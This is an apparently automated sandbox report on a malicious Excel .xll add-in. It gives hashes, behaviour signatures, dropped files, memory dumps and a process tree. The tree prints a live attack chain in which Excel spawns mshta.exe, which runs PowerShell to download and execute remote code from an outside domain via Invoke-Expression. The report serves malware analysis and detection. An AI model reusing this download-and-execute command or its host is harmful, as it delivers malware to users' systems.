Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 22:25

General

  • Target

    e2e3d49623cd7e379e9bc7df1eb26c28d81b4ae8d01e534ad5e62e06d0991576.xll

  • Size

    12KB

  • MD5

    358eda16dd3dfa8afa2449b0ec68d11c

  • SHA1

    25d80cb6a52b056d1191ea85ece03310c65c3667

  • SHA256

    e2e3d49623cd7e379e9bc7df1eb26c28d81b4ae8d01e534ad5e62e06d0991576

  • SHA512

    7e2e2f583705b8d998b5a1ddc354c2ca00287fc62f036ed05148447eba2a42f0111328a91c94c606e2407e34c4c07b30d136e962d3ff78b652071b0d0819654e

  • SSDEEP

    192:4L29RBzDzeobchBj8JONLONIMruLrEPEjr7AhM:229jnbcvYJOMesuLvr7CM

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e2e3d49623cd7e379e9bc7df1eb26c28d81b4ae8d01e534ad5e62e06d0991576.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:576
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1412

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PCRE1VQT\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rge4awc.g0o.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\e2e3d49623cd7e379e9bc7df1eb26c28d81b4ae8d01e534ad5e62e06d0991576.xll

    Filesize

    12KB

    MD5

    358eda16dd3dfa8afa2449b0ec68d11c

    SHA1

    25d80cb6a52b056d1191ea85ece03310c65c3667

    SHA256

    e2e3d49623cd7e379e9bc7df1eb26c28d81b4ae8d01e534ad5e62e06d0991576

    SHA512

    7e2e2f583705b8d998b5a1ddc354c2ca00287fc62f036ed05148447eba2a42f0111328a91c94c606e2407e34c4c07b30d136e962d3ff78b652071b0d0819654e

  • memory/576-0-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-84-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-9-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-8-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-12-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-15-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-17-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-20-0x00007FFC91450000-0x00007FFC91460000-memory.dmp

    Filesize

    64KB

  • memory/576-19-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-18-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-16-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-14-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-11-0x00007FFC91450000-0x00007FFC91460000-memory.dmp

    Filesize

    64KB

  • memory/576-10-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-3-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-2-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-1-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-4-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-13-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-7-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-86-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-6-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/576-85-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-83-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-82-0x00007FFC93810000-0x00007FFC93820000-memory.dmp

    Filesize

    64KB

  • memory/576-5-0x00007FFCD3823000-0x00007FFCD3824000-memory.dmp

    Filesize

    4KB

  • memory/576-68-0x00007FFCD3780000-0x00007FFCD3989000-memory.dmp

    Filesize

    2.0MB

  • memory/1412-58-0x0000000005ED0000-0x0000000005EEE000-memory.dmp

    Filesize

    120KB

  • memory/1412-59-0x0000000005F80000-0x0000000005FCC000-memory.dmp

    Filesize

    304KB

  • memory/1412-61-0x0000000006410000-0x000000000642A000-memory.dmp

    Filesize

    104KB

  • memory/1412-60-0x0000000007720000-0x0000000007D9A000-memory.dmp

    Filesize

    6.5MB

  • memory/1412-57-0x00000000059F0000-0x0000000005D47000-memory.dmp

    Filesize

    3.3MB

  • memory/1412-47-0x00000000058F0000-0x0000000005956000-memory.dmp

    Filesize

    408KB

  • memory/1412-48-0x0000000005960000-0x00000000059C6000-memory.dmp

    Filesize

    408KB

  • memory/1412-46-0x0000000005050000-0x0000000005072000-memory.dmp

    Filesize

    136KB

  • memory/1412-44-0x0000000002A20000-0x0000000002A56000-memory.dmp

    Filesize

    216KB

  • memory/1412-45-0x00000000050D0000-0x00000000056FA000-memory.dmp

    Filesize

    6.2MB